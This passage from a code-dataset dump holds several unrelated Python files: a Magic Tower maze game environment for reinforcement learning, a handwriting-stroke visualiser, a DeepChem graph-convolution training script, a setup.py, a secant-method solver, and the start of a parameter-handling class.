1.觀測值是落在當前處理的事件上,比如商店交易時,觀測值是商店的座標。\n 2.商店可連續交易,新增離開的選項。\n 3.人物在地圖移動中按確定鍵並不會返回invalid,其確定鍵功能為觸發當前觀測值的事件。(比如商店按離開選項後不移動,再按確定鍵會再進入商店)\n\n 該類別可使用方法:\n build_env:輸入環境名稱,建立魔塔環境。\n step:輸入行動指令,返回獎勵值和訊息。\n reset:重設環境,返回初始觀測值。\n\n 該類別變數的資料型態:\n observation:int一維陣列4元素,表示主角的四維座標(Z軸/Y軸/X軸/選項軸)。\n reward:int,由主角的8種狀態(生命/攻擊/防禦/金幣/經驗/黃鑰匙/藍鑰匙/紅鑰匙)計算出來的值。\n '''\n #------------------------------------------------------------------------\n # 常數\n #------------------------------------------------------------------------\n # 主角狀態的獎勵值比率(生命、攻擊、防禦、金幣、經驗、黃鑰匙、藍鑰匙、紅鑰匙)\n REWARD_RATE = np.array([1, 200, 200, 20, 20, 10, 10, 10])\n # 各類結局的獎勵值\n ENDDING_REWARD = {'death': -100, 'stop': -100, 'clear': 100, 'invalid': -200}\n #------------------------------------------------------------------------\n # 初始化\n #------------------------------------------------------------------------\n def __init__(self):\n self.env_data = None # 環境數據庫\n self.env_name = '' # 環境名稱\n self.env_map = None # 環境地圖\n self.features = 5 # 特徵值\n self.observation = None # 當前state的觀測值(4維座標+進入次數)\n self.map_enter_num = {} # 地圖進入次數\n self.background_id = 0 # 背景圖塊ID\n self._original_env_map = None # 初始地圖\n self._original_observation = None # 初始觀測值\n self.player = Player() # 儲存玩家狀態\n self.in_event_command = False # 在事件選項中(如商店)\n self.event_commands = [] # 事件的選項列表\n self.new_enemys_id = {} # 紀錄已替換的怪物事件ID\n self.limit_step_input = False # 限制step輸入\n self.tile_path = 'pictures/baseTile.png'\n print('一個新的Mota_Maze物件被建立')\n #------------------------------------------------------------------------\n # 建立環境\n #------------------------------------------------------------------------\n def build_env(self, env_name: str):\n self.env_name = env_name\n self.env_data = db.load_data(env_name) # 載入數據庫\n # 建立環境地圖\n self.env_map = np.array(self.env_data['floors']['map'])\n # 禁用(清除)指定事件位置\n for pos in self.env_data['floors']['disable']:\n self.change_map_id(pos, 0)\n # 建置玩家初始狀態\n self.player.reset(self.env_data['player'])\n # 建立初始觀測值\n player_id = None\n for key, value in self.env_data['maps'].items():\n if value['id'] == 'background':\n self.background_id = key\n if value['id'] == 'player':\n if player_id is None: # 只取第一個出現player的ID\n player_id = key\n player_pos = np.argwhere(self.env_map==player_id)[0]\n self.observation = np.append(player_pos, [0,0], axis=0)\n # 清除主角位置\n self.change_map_id(tuple(player_pos), 0)\n # 複製資料對象,用來快速重置\n self._original_env_map = self.env_map.copy()\n self._original_observation = self.observation.copy()\n #------------------------------------------------------------------------\n # 獲取主角狀態的陣列\n #------------------------------------------------------------------------\n def get_player_state(self) -> np.array:\n p = self.player\n return np.array([p.hp, p.atk, p.def_, p.money, p.exp,\n p.items['yellowKey'], p.items['blueKey'], p.items['redKey']])\n #------------------------------------------------------------------------\n # 更改地圖編號\n #------------------------------------------------------------------------\n def change_map_id(self, pos: tuple, new_id: int):\n self.env_map[pos] = new_id\n #------------------------------------------------------------------------\n # 敵人事件處理\n #------------------------------------------------------------------------\n def activate_enemys(self, pos: tuple, event_id: int) -> str:\n # 戰鬥計算\n enemy = self.env_data['enemys'][event_id]\n p_damage = self.player.atk - enemy['def']\n if p_damage <= 0:\n ending = 'death'\n damage = 999999\n else:\n if enemy['hp'] % p_damage == 0:\n rounds = enemy['hp'] // p_damage - 1 # 主角自帶先攻一次\n else:\n rounds = enemy['hp'] // p_damage # 主角自帶先攻一次\n e_damage = max(enemy['atk'] - self.player.def_, 0)\n damage = e_damage * rounds\n if enemy['special'] == 0:\n pass\n elif enemy['special'] == 11: # 吸血屬性\n damage += self.player.hp // enemy['value']\n elif enemy['special'] == 22: # 固傷屬性\n damage += enemy['damage']\n elif enemy['special'] == 1: # 先攻屬性\n damage += e_damage\n elif enemy['special'] == 7: # 破甲屬性\n damage += self.player.def_ * 0.9\n elif enemy['special'] == 4: # 2連擊屬性\n damage *= 2\n elif enemy['special'] == 3: # 堅固屬性\n if self.player.atk > enemy['def']:\n new_def = self.player.atk - 1\n p_damage = self.player.atk - new_def\n if enemy['hp'] % p_damage == 0:\n rounds = enemy['hp'] // p_damage - 1\n else:\n rounds = enemy['hp'] // p_damage\n e_damage = max(enemy['atk'] - self.player.def_, 0)\n damage = e_damage * rounds\n else:\n pass\n elif enemy['special'] == 8: # 反擊屬性\n damage += (self.player.atk * enemy['value']) * rounds\n # 計算結局\n ending = 'continue' if self.player.hp > damage else 'death'\n # 戰鬥處理\n self.player.hp -= damage\n if 'coin' in self.player.items:\n self.player.money += (enemy['money'] * 2)\n else:\n self.player.money += enemy['money']\n self.player.exp += enemy['exp']\n self.change_map_id(pos, self.background_id)\n return ending\n #------------------------------------------------------------------------\n # 道具事件處理\n #------------------------------------------------------------------------\n def activate_items(self, pos: tuple, event_id: int) -> str:\n # 道具處理\n item = self.env_data['items'][event_id]\n if item['cls'] == 'item':\n if event_id in self.player.items:\n self.player.items[event_id] += 1\n else:\n self.player.items[event_id] = 1\n elif item['cls'] == 'items':\n for key, value in item.items():\n if key in self.player.items:\n self.player.items[key] += value\n elif key != 'cls':\n self.player.items[key] = value\n else:\n for key, value in item.items():\n if key == 'hp':\n self.player.hp += min(value, self.player.maxhp - self.player.hp) # 溢血\n elif key == 'atk':\n self.player.atk += value\n elif key == 'def':\n self.player.def_ += value\n elif key == 'money':\n self.player.money += value\n elif key == 'lv':\n self.player.lv += value\n elif key == 'function':\n for team in value:\n val = eval(team['value'])\n if team['name'] == 'player.hp':\n # 使用function的hp不會受到溢血影響\n self.player.hp = val\n elif team['name'] == 'player.atk':\n self.player.atk = val\n elif team['name'] == 'player.def':\n self.player.def_ = val\n self.change_map_id(pos, self.background_id)\n return 'continue'\n #------------------------------------------------------------------------\n # 地形事件處理\n #------------------------------------------------------------------------\n def activate_terrains(self, pos: tuple, event_id: int) -> str:\n ending = 'stop'\n if event_id == 'yellowDoor':\n if self.player.items['yellowKey'] == 0:\n ending = 'stop'\n else:\n self.player.items['yellowKey'] -= 1\n if self.player.items['yellowKey'] >= 0:\n ending = 'continue'\n self.change_map_id(pos, self.background_id)\n elif event_id == 'blueDoor':\n if self.player.items['blueKey'] == 0:\n ending = 'stop'\n else:\n self.player.items['blueKey'] -= 1\n if self.player.items['blueKey'] >= 0:\n ending = 'continue'\n self.change_map_id(pos, self.background_id)\n elif event_id == 'redDoor':\n if self.player.items['redKey'] == 0:\n ending = 'stop'\n else:\n self.player.items['redKey'] -= 1\n if self.player.items['redKey'] >= 0:\n ending = 'continue'\n self.change_map_id(pos, self.background_id)\n\n return ending\n #------------------------------------------------------------------------\n # NPC事件處理\n # pos: 依照npc類別會傳入 三維座標 或 四維座標。\n #------------------------------------------------------------------------\n def activate_npcs(self, pos: tuple) -> str:\n if pos not in self.env_data['npcs']:\n commands = []\n else:\n commands = self.env_data['npcs'][pos]\n ending = 'continue'\n # 商店判斷\n if commands == 'shop':\n self.open_shop(pos)\n return ending\n # 指令處理\n for command in commands:\n # 條件句\n if command['type'] == 'if':\n if not eval(command['condition'].replace('player', 'self.player')):\n ending = 'stop'\n break\n # 增加數值\n elif command['type'] == 'addValue':\n if command['name'] == 'player.money':\n self.player.money += command['value']\n elif command['name'] == 'player.hp':\n self.player.hp += command['value']\n elif command['name'] == 'player.atk':\n self.player.atk += command['value']\n elif command['name'] == 'player.def':\n self.player.def_ += command['value']\n elif command['name'] == 'player.exp':\n self.player.exp += command['value']\n elif command['name'] == 'player.lv':\n self.player.lv += command['value']\n # 增加道具\n elif command['type'] == 'addItem':\n if command['name'] in self.player.items:\n self.player.items[command['name']] += command['value']\n else:\n self.player.items[command['name']] = command['value']\n # 不處理 not_activated 的指令\n # 改由判斷座標清除事件(非商店的所有三維事件)\n if len(pos) == 3:\n self.change_map_id(pos, self.background_id)\n return ending\n #------------------------------------------------------------------------\n # 事件後處理\n #------------------------------------------------------------------------\n def after_event(self, commands: list):\n for command in commands:\n # 破壞事件\n if command['type'] == 'open':\n self.change_map_id(command['loc'], self.background_id)\n # 啟用事件\n elif command['type'] == 'enable':\n z, y, x = command['loc']\n new_id = self.env_data['floors']['map'][z][y][x]\n self.change_map_id(command['loc'], new_id)\n # 更新怪物事件ID\n elif command['type'] == 'updateEnemys':\n enemys_lab = command.copy()\n enemys_lab.pop('type')\n reverse_dict = {v: k for k, v in self.new_enemys_id.items()}\n for key, value in enemys_lab.items():\n if key in reverse_dict:\n self.new_enemys_id[reverse_dict[key]] = value\n else:\n self.new_enemys_id[key] = value\n #------------------------------------------------------------------------\n # 觸發商店事件\n #------------------------------------------------------------------------\n def open_shop(self, pos: tuple):\n # 觀測值選項軸設為第一個\n self.observation[3] = 1\n # 建立商店\n self.in_event_command = True\n self.event_commands.clear()\n # 搜尋選項的座標(四維)\n i = 1\n while pos + (i,) in self.env_data['npcs']:\n self.event_commands.append(pos + (i,))\n i += 1\n self.event_commands.append('exit')\n #------------------------------------------------------------------------\n # 輸入行動,返回訊息\n # action: 輸入0~4,右/下/左/上/確定\n # meaningless_actions_reward : 無意義行動的獎勵值,默認為0\n # 返回獎勵值int和訊息str\n # 共有 continue, death, stop, clear, invalid 五種訊息\n #------------------------------------------------------------------------\n def step(self, action: int, return_state: bool = True,\n meaningless_actions_reward: int = 0) -> (int, str):\n ending = 'continue'\n # 禁止輸入行動\n if self.limit_step_input:\n raise RuntimeError('The mota environment need reset.')\n # 行動前的主角狀態\n before_state = self.get_player_state()\n # 紀錄行動前的觀測值\n old_observation = self.observation.copy()\n # 事件選項處理\n if self.in_event_command:\n if action == 1: # 下\n if self.observation[3] < len(self.event_commands):\n self.observation[3] += 1\n elif action == 3: # 上\n if self.observation[3] > 1:\n self.observation[3] -= 1\n elif action == 4: # 確定\n # 離開商店\n if self.event_commands[self.observation[3] - 1] == 'exit':\n self.observation[3] = 0\n self.in_event_command = False\n # 進行交易\n else:\n ending = self.activate_npcs(tuple(self.observation[:4]))\n self.in_event_command = False\n else:\n ending = 'invalid'\n # 座標(取四軸)\n pos = tuple(self.observation[:4])\n # 地圖行動處理\n else:\n if action == 0: # 右\n self.observation[2] += 1\n if self.observation[2] >= self.env_data['floors']['width']:\n self.observation[2] -= 1\n ending = 'invalid'\n elif action == 1: # 下\n self.observation[1] += 1\n if self.observation[1] >= self.env_data['floors']['height']:\n self.observation[1] -= 1\n ending = 'invalid'\n elif action == 2: # 左\n self.observation[2] -= 1\n if self.observation[2] < 0:\n self.observation[2] += 1\n ending = 'invalid'\n elif action == 3: # 上\n self.observation[1] -= 1\n if self.observation[1] < 0:\n self.observation[1] += 1\n ending = 'invalid'\n elif action == 4: # 確定\n pass # 原地觸發事件(如商店等)\n else:\n ending = 'invalid'\n # 座標(只取三軸)\n pos = tuple(self.observation[:3])\n event = self.env_data['maps'][self.env_map[pos]]\n # 撞牆判定\n if event['cls'] == 'except' and event['id'] != 'background':\n ending = 'invalid'\n # 觸發事件\n elif event['cls'] == 'enemys':\n # 判斷怪物數據是否已更換\n if event['id'] in self.new_enemys_id:\n ending = self.activate_enemys(pos, self.new_enemys_id[event['id']])\n else:\n ending = self.activate_enemys(pos, event['id'])\n elif event['cls'] == 'items':\n ending = self.activate_items(pos, event['id'])\n elif event['cls'] == 'terrains':\n if event.get('noPass', True):\n ending = self.activate_terrains(pos, event['id'])\n elif event['cls'] == 'npcs':\n ending = self.activate_npcs(pos)\n elif event['cls'] == 'flag':\n ending = 'clear'\n # 事件後處理(全局處理)\n if pos in self.env_data['floors']['afterEvent']:\n commands = self.env_data['floors']['afterEvent'][pos]\n self.after_event(commands)\n # 傳送點處理\n if pos in self.env_data['floors']['changeFloor']:\n new_pos = self.env_data['floors']['changeFloor'][pos]\n self.observation = np.append(new_pos, [0, 0], axis=0)\n # 計算獎勵值\n if ending in Mota_Maze_Player.ENDDING_REWARD:\n reward = Mota_Maze_Player.ENDDING_REWARD[ending]\n else:\n # 行動後的主角狀態\n after_state = self.get_player_state()\n reward = np.sum((after_state - before_state) * Mota_Maze_Player.REWARD_RATE)\n # 無意義行動獎勵值\n if reward == 0:\n reward = meaningless_actions_reward\n # 限制行動輸入\n if ending != 'invalid' and ending != 'continue' and ending != 'stop':\n self.limit_step_input = True\n # 觀測值進入次數\n self.observation[4] = self.map_enter_num.get(pos, 0)\n\n if ending == 'continue':\n # 計算進入次數\n if pos in self.map_enter_num:\n self.map_enter_num[pos] += 1\n else:\n self.map_enter_num[pos] = 1\n # 回傳值\n observation = self.observation.copy()\n return observation, reward, ending\n else:\n # 觀測值退回,回傳觀測值\n self.observation = old_observation\n return self.observation.copy(), reward, ending\n #------------------------------------------------------------------------\n # 重設環境\n #------------------------------------------------------------------------\n def reset(self) -> np.array:\n # 環境地圖\n self.env_map = self._original_env_map.copy()\n # 玩家狀態\n self.player.reset(self.env_data['player'])\n # 替換事件ID\n self.new_enemys_id.clear()\n # 觀測值\n self.observation = self._original_observation.copy()\n # 限制step輸入\n self.limit_step_input = False\n # 地圖進入次數\n self.map_enter_num.clear()\n return self.observation.copy()\n #------------------------------------------------------------------------\n # 獲取行動的對象訊息\n # (本方法只供測試使用)\n #------------------------------------------------------------------------\n def _get_actions_target(self) -> pd.DataFrame:\n data = []\n if self.in_event_command:\n data.append(['右', '----'])\n data.append(['下', '選項下移'])\n data.append(['左', '----'])\n data.append(['上', '選項上移'])\n data.append(['確定', '執行選項'])\n # 建立表格\n return pd.DataFrame(data, columns=['cmd','message'])\n else:\n pos = tuple(self.observation + [0,0,1,0,0])[:3]\n if self.observation[2] < self.env_data['floors']['width']:\n event = self.env_data['maps'][self.env_map[pos]]\n data.append(['右', event['cls'], event['id']])\n else:\n data.append(['右', '----', '----'])\n pos = tuple(self.observation + [0,1,0,0,0])[:3]\n if self.observation[1] < self.env_data['floors']['height']:\n event = self.env_data['maps'][self.env_map[pos]]\n data.append(['下', event['cls'], event['id']])\n else:\n data.append(['下', '----', '----'])\n pos = tuple(self.observation - [0,0,1,0,0])[:3]\n if self.observation[2] >= 0:\n event = self.env_data['maps'][self.env_map[pos]]\n data.append(['左', event['cls'], event['id']])\n else:\n data.append(['左', '----', '----'])\n pos = tuple(self.observation - [0,1,0,0,0])[:3]\n if self.observation[2] >= 0:\n event = self.env_data['maps'][self.env_map[pos]]\n data.append(['上', event['cls'], event['id']])\n else:\n data.append(['上', '----', '----'])\n event = self.env_data['maps'][self.env_map[tuple(self.observation[:3])]]\n data.append(['確定', event['cls'], event['id']])\n # 建立表格\n return pd.DataFrame(data, columns=['cmd','class','id'])\n\n def draw_map(self, picture_name: str) -> int:\n layer = self.env_data['floors']['layer']\n width = self.env_data['floors']['width']\n height = self.env_data['floors']['height']\n map_ = self.env_data['floors']['map']\n maps = self.env_data['maps']\n tile = self.env_data['icons']\n tileImage = Image.open(self.tile_path)\n # 地板平鋪式背景\n bg = Image.new('RGBA', (width*32, height*32))\n bf = tileImage.crop((0, 0, 32, 32))\n for i in range(0, width*32, 32):\n for j in range(0, height*32, 32):\n bg.paste(bf, (i, j))\n # 依序畫出每一樓層\n for f in range(0, layer):\n fin = bg.copy()\n for i in range(0, width):\n for j in range(0, height):\n # 獲取圖塊\n n = map_[f][j][i]\n if n == 0:\n continue\n if maps[n]['id'] == 'player':\n n = 0\n tile_id = tile[maps[n]['id']]\n local = (tile_id%16*32, tile_id//16*32, tile_id%16*32+32, tile_id//16*32+32)\n et = tileImage.crop(local)\n # 分離通道並進行透明度拼貼\n r,g,b,a = et.split()\n fin.paste(et, (i*32, j*32), mask = a)\n fin.save(picture_name + str(f) + '.png')\n return layer\n\n def draw_map_layer(self, layer):\n #layer = self.env_data['floors']['layer']\n width = self.env_data['floors']['width']\n height = self.env_data['floors']['height']\n map_ = self.env_map\n maps = self.env_data['maps']\n tile = self.env_data['icons']\n tileImage = Image.open(self.tile_path)\n # 地板平鋪式背景\n bg = Image.new('RGBA', (width*32, height*32))\n bf = tileImage.crop((0, 0, 32, 32))\n for i in range(0, width*32, 32):\n for j in range(0, height*32, 32):\n bg.paste(bf, (i, j))\n # 依序畫出每一樓層\n fin = bg.copy()\n for i in range(0, width):\n for j in range(0, height):\n # 獲取圖塊\n n = map_[layer][j][i]\n if n == 0:\n continue\n if maps[n]['id'] == 'player':\n n = 0\n tile_id = tile[maps[n]['id']]\n local = (tile_id%16*32, tile_id//16*32, tile_id%16*32+32, tile_id//16*32+32)\n et = tileImage.crop(local)\n # 分離通道並進行透明度拼貼\n r,g,b,a = et.split()\n fin.paste(et, (i*32, j*32), mask = a)\n fin.save('pictures/MT_{:d}.png'.format(layer))\n#測試\nif __name__ == '__main__':\n print('★ =========歡迎使用文字版(迷宮版)魔塔環境========= ★')\n print('提醒:在操作時本遊戲時,建議以圖片版魔塔進行對照遊玩~')\n # 前置處理\n mota = Mota_Maze_Player()\n #mota.build_env('24層魔塔')\n mota.build_env('standard_map')\n print('環境名稱:', mota.env_name)\n index = ['hp','atk','def','money','exp','yellowKey','blueKey','redKey']\n playerDf = pd.DataFrame([0]*len(index), index=index, columns=['value'])\n step_count = 0\n # 預載開始(24層魔塔)\n #choose_index_list = [\n #3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 0, 3, 3, 0, 0, 0, 0, 0, 3, 3, 3, 3, 3, 3, 3,\n #2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 0, 0, 0, 3, 3,\n #2, 2, 2, 2, 3, 3, 3, 0, 3, 3, 2, 3, 3, 1, 0, 0, 3, 1, 1, 2, 1, 1, 0, 1, 0,\n #0, 0, 0, 1, 0, 1, 1, 2, 1, 1, 0, 0, 3, 1, 2, 2, 3, 3, 0, 3, 3, 2, 3, 3, 3,\n #2, 3, 3, 3, 1, 4, 1, 1, 4, 1]\n # 預載開始(mapData_3)\n #choose_index_list = [\n #1, 1, 1, 2, 0, 3, 3, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 1, 1, 0, 0,\n #1, 1, 1, 1, 1, 0, 0, 0, 3, 1, 2, 2, 2, 3, 3, 3, 3, 3, 2, 2, 3, 3, 0, 0, 0,\n #0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 2, 1, 1, 3,\n #3, 0, 3, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 0, 0, 2, 3, 3, 3, 2, 2,\n #2, 2, 1, 1, 1, 2, 0, 0, 2, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 0, 0, 1, 1, 1, 1,\n #1, 0, 0, 0, 1, 1, 1, 2, 2, 2, 2, 0, 0, 0, 0, 3, 3, 3, 0, 0, 0, 0, 0, 3, 3,\n #2, 0, 0, 2, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0, 0,\n #3, 3, 3, 3, 3, 0, 0, 0, 1, 1, 1, 1, 1, 3, 3, 3, 2, 3, 2, 2, 1, 1, 0, 2, 3,\n #3, 3, 2, 2, 1, 1, 1, 1, 1, 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3]#,3]\n #for index in choose_index_list:\n # mota.step(index)\n # 重置測試\n #mota.reset()\n #for index in choose_index_list:\n # mota.step(index)\n #step_count = len(choose_index_list)\n # 預載結束\n\n choose_index_list = []\n p = mota.player\n ending = 'continue'\n while ending == 'continue' or ending == 'invalid' :\n print('主角狀態:')\n playerDf.value = [p.hp, p.atk, p.def_, p.money, p.exp,\n p.items['yellowKey'], p.items['blueKey'], p.items['redKey']]\n print(playerDf.T)\n print('已執行步數:', step_count)\n print('觀測值(座標):', mota.observation)\n print('行動選項資訊:')\n print(mota._get_actions_target())\n index = int(input('請輸入行動index(-1結束):'))\n\n if index == -1:\n break\n else:\n choose_index_list.append(index)\n _, reward, ending = mota.step(index)\n step_count += 1\n print('該次行動獎勵值:', reward)\n\n print('-------------------------------------------------')\n print(mota.env_map)\n print('★ ==================遊戲結束================== ★')\n print('你的結局是:', ending)\n print('已行動選項順序:', choose_index_list)\n","sub_path":"Mota_GUI_complete/environment_maze_Player.py","file_name":"environment_maze_Player.py","file_ext":"py","file_size_in_byte":31301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"80756274","text":"import os\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef visual(file_path, k, ind):\n Data_file_list = os.listdir(file_path)\n data = np.load(file_path+Data_file_list[k],allow_pickle=True)\n plt.figure\n for y in range(0,10):\n for x in range(ind, ind+10):\n length = len(data[x+y*10])\n for s in range(length):\n plt.plot([j[0]+550*x for j in data[x+y*10][s]],[-j[1]-550*y for j in data[x+y*10][s]],\\\n '-o',linewidth=0.5,markersize=1.2,color=plt.cm.Set1(s/length)) \n plt.show()\n\ndef distance(l1,l2):\n if len(l1)==len(l2):\n d = 0\n for i in range(len(l1)):\n d = d + (l1[i]-l2[i])**2\n return math.sqrt(d)\n else:\n raise ValueError(\"l1 and l2 are in different dimensions.\")\n\nclass DataPreprocessing_Character:\n def __init__(self, n_rhs_pclass, l_rhs, n_character=300, d_threshold=200):\n self.n_rhs_pclass = n_rhs_pclass\n self.l_rhs = l_rhs\n self.n_character = n_character\n self.d_threshold = d_threshold\n \n def read(self, o_data_path):\n data_file_list = os.listdir(o_data_path)\n data_file_list.sort()\n self.n_class = len(data_file_list)\n data = np.empty(shape=(self.n_class, self.n_character), dtype=list)\n for i in range(self.n_class):\n temp_data = np.load(o_data_path+'/'+data_file_list[i], allow_pickle=True)\n data[i] = temp_data\n self.data = data\n return self\n \n def outlier(self):\n print(\"Clearing the outlier for each character...\")\n if hasattr(self, 'data'):\n data = self.data\n self.m_data = np.empty(shape=(data.shape),dtype=list)\n for ind_class in range(data.shape[0]):\n for ind_character in range(data.shape[1]):\n data[ind_class,ind_character] = [l for l in data[ind_class, ind_character] if len(l) > 1]\n if len(data[ind_class, ind_character]) != 0:\n if len(data[ind_class, ind_character][0]) >= 3 and distance(self.data[ind_class,ind_character][0][0],\\\n data[ind_class,ind_character][0][1]) >= self.d_threshold:\n data[ind_class,ind_character][0].pop(0)\n self.m_data[ind_class, ind_character] = data[ind_class, ind_character]\n else:\n print(\"Please read data first!\")\n return self\n \n def visual(self, k, ind):\n data = self.m_data[k]\n plt.figure\n for y in range(0,10):\n for x in range(ind, ind+10):\n if data[x+y*10] is None or len(data[x+y*10])==0:\n continue\n else:\n length = len(data[x+y*10])\n for s in range(length):\n plt.plot([j[0]+550*x for j in data[x+y*10][s]],[-j[1]-550*y for j in data[x+y*10][s]],\\\n '-o',linewidth=0.5,markersize=1.2,color=plt.cm.Set1(s/length)) \n plt.show()\n\nvisual(\"../WriterID/Data/Train/\",71, 200)\nDPC = DataPreprocessing_Character(n_rhs_pclass=1500, l_rhs=200, n_character=300, d_threshold=200)\nDPC.read(\"../WriterID/Data/Train/\").outlier().visual(71,200)","sub_path":"Code/visual.py","file_name":"visual.py","file_ext":"py","file_size_in_byte":3259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"464534083","text":"\"\"\"\nScript that trains graph-conv models on PCBA dataset.\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport numpy as np\nnp.random.seed(123)\nimport tensorflow as tf\ntf.set_random_seed(123)\nimport deepchem as dc\nfrom pcba_datasets import load_pcba\nimport timeit\n\n# Load PCBA dataset\npcba_tasks, datasets, transformers = load_pcba(\n featurizer=\"GraphConv\", split=\"index\")\ntrain_dataset, valid_dataset, test_dataset = datasets\n\n# Fit models\nmetric = dc.metrics.Metric(dc.metrics.roc_auc_score, np.mean)\n\n# Do setup required for tf/keras models\n# Number of features on conv-mols\nn_feat = 75\n# Batch size of models\nbatch_size = 128\ngraph_model = dc.nn.SequentialGraph(n_feat)\ngraph_model.add(dc.nn.GraphConv(128, n_feat, activation='relu'))\ngraph_model.add(dc.nn.BatchNormalization(epsilon=1e-5, mode=1))\ngraph_model.add(dc.nn.GraphPool())\ngraph_model.add(dc.nn.GraphConv(128, 128, activation='relu'))\ngraph_model.add(dc.nn.BatchNormalization(epsilon=1e-5, mode=1))\ngraph_model.add(dc.nn.GraphPool())\n# Gather Projection\ngraph_model.add(dc.nn.Dense(256, 128, activation='relu'))\ngraph_model.add(dc.nn.BatchNormalization(epsilon=1e-5, mode=1))\ngraph_model.add(dc.nn.GraphGather(batch_size, activation=\"tanh\"))\n\nmodel = dc.models.MultitaskGraphClassifier(\n graph_model,\n len(pcba_tasks),\n n_feat,\n batch_size=batch_size,\n learning_rate=1e-3,\n optimizer_type=\"adam\",\n beta1=.9,\n beta2=.999)\n\nstart = timeit.default_timer()\n\n# Fit trained model\nmodel.fit(train_dataset, nb_epoch=20)\n\ntrain_time = timeit.default_timer() - start\n\nstart = timeit.default_timer()\n\nprint(\"Evaluating model\")\ntrain_scores = model.evaluate(train_dataset, [metric], transformers)\nvalid_scores = model.evaluate(valid_dataset, [metric], transformers)\ntest_scores = model.evaluate(test_dataset, [metric], transformers)\n\neval_time = timeit.default_timer() - start\n\nprint(\"Train scores\")\nprint(train_scores)\n\nprint(\"Validation scores\")\nprint(valid_scores)\n\nprint(\"Test scores\")\nprint(test_scores)\n\nprint('Train time: %.1fm' % (train_time/60.))\nprint('Eval time: %.1fm' % (eval_time/60.))\n","sub_path":"pcba/graph_conv.py","file_name":"graph_conv.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"220058467","text":"#!/usr/bin/env python\nimport os\nfrom setuptools import setup, find_packages\nfrom codecs import open\n\npkg_name = 'zwnlptk'\n\nhere = os.path.abspath(os.path.dirname(__file__))\nexclude_packages = ['tests']\npackages = find_packages()\npackages = [pkg for pkg in packages if all(p != pkg for p in exclude_packages)]\n\nrequires = [s.strip() for s in open('requirements.txt').readlines()]\ntest_requirements = [s.strip() for s in open('requirements_dev.txt').readlines()][4:]\n\nabout = {}\nlines = []\nwith open(os.path.join(here, pkg_name, '__version__.py'), 'r', 'utf-8') as f:\n exec(f.read(), about)\n # auto update min version number for every dist upload\n verarr = about['__version__'].split('.')\n verarr[2] = str(int(verarr[2])+1)\n about['__version__'] = '.'.join(verarr)\n f.seek(0)\n lines = f.readlines()\n lines[0] = \"__version__ = '%s'\\n\"%about['__version__']\n\nwith open(os.path.join(here, pkg_name, '__version__.py'), 'w', 'utf-8') as f:\n f.writelines(lines)\n\nwith open('README.md', 'r') as f:\n readme = f.read()\n\nsetup(\n name=about['__title__'],\n version=about['__version__'],\n description=about['__description__'],\n long_description=readme,\n long_description_content_type='text/markdown',\n author=about['__author__'],\n author_email=about['__author_email__'],\n url=about['__url__'],\n license=about['__license__'],\n packages=packages,\n package_data={'': ['LICENSE', 'NOTICE']},\n package_dir={pkg_name:pkg_name},\n include_package_data=True,\n install_requires=requires,\n tests_require=test_requirements,\n python_requires='>=3.6',\n platforms=[\"all\"],\n classifiers=[\n 'Programming Language :: Python :: 3',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: OS Independent',\n ],\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"363766441","text":"#=========================\n#Nama : Dicky Gunawan\n#NPM : 202010225049\n#Kelas : TF3A4\n#=========================\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom math import e\n\ndef f(x):\n return e**x-5*x**2\n\ndef Secant(x0,x1,eps, N):\n step = 1\n coundition = True\n while coundition:\n if f(x0) == f(x1):\n print ('Solusi tidak ditemukan')\n break\n\n x2 = x1 - ((f(x1)*(x1-x0))/(f(x1)-f(x0)))\n print('Interasi-%d, x = %0.8f dan f(x) = %0.8f' % (step, x2, f(x2)))\n x0 = x1\n x1 = x2\n step = step + 1\n\n if step > N:\n print('Divergen')\n break\n coundition = abs(f(x2)) > eps\n print('\\n Akar Persamaan tersebut : %0.8f' % x2)\n\nx0 = float(input('x0: '))\nx1 = float(input('x1: '))\nN = int(input('Max Iter: '))\neps =float(input('epsilon: '))\nSecant(x0,x1,eps, N)","sub_path":"Secant.py","file_name":"Secant.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"545602903","text":"from base import addon, addon_id, Base\nfrom urllib import quote_plus, unquote_plus\n\nimport xbmc, xbmcaddon\n\n####################################################################################################\n\nclass Parameters(Base):\n\n\tdef __init__(self, data=None):\n\t\tsuper(Parameters, self).__init__()\n\t\tself.param = {}\n\t\tif data == None:\n\t\t\treturn\n\t\telif type(data) is dict:\n\t\t\tself.param = data\n\t\telif type(data) is str:\n\t\t\tself.parse(data)\n\t\telse:\n\t\t\tself.debug(\"Unsupported type [data]\")\n\n\tdef add(self, name=None, value=None, overwrite=False):\n\t\tif name == None:\n\t\t\tself.debug(\"Parameter [name] not specified\", xbmc.LOGERROR)\n\t\t\treturn False\n\n\t\tif (name is not self.param.keys()) or (overwrite == True):\n\t\t\tself.param[name] = value\n\t\t\tself.debug(\"Parameter %s set to %s\" % (name, value), xbmc.LOGNOTICE)\n\t\t\treturn True\n\t\telse:\n\t\t\tself.debug(\"Parameter %s already exists\" % (name), xbmc.LOGERROR)\n\t\t\treturn False\n\n\tdef compose(self, data=None, seperator=\"&\"):\n\t\tparam = 